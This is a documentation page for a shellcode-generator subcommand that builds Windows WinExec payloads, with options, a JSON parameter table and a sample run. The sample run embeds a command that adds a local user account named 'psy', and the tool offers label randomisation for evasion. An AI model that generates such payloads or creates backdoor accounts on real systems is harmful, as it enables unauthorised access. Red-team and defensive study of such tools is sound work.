shencode-payload-winexec

Description

Create a shellcode with custom WinExec command.

Command

shencode payload winexec [-h] -c COMMAND_LINE -o OUTPUT [-d] [-r]
 
Generate a dynamic WinExec shellcode
 
options:
  -h, --help          show this help message and exit
  -c, --command-line  Command to execute with WinExec
  -o, --output        Output file
 
additional:
  -d, --debug         Save nasm code only
  -r, --random-label  Replace jump labels with random words

Example Output

shencode payload winexec -o winexec-netuser.bin -c="net user psy psypass /add" -d
 
[WinEXEC]-[0.9.0]
[*] Try to generate shellcode
[*] Compile object file
[*] Extract .text section from object file
[*] Write to file
┏━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Key  ┃ Value                                    ┃
┡━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ File │ winexec-netuser.bin                      │
│ Size │ 272.0 B                                  │
│ Hash │ 00d660247e292b8a2900acde17fb2851e3b61fa9
└──────┴──────────────────────────────────────────┘
[+] DONE!

JSON Parameter

ArgumentsValuesType
command_lineprocess paramstr
outputoutputfilestr
debugtrue, falsebool
random_labeltrue, falsebool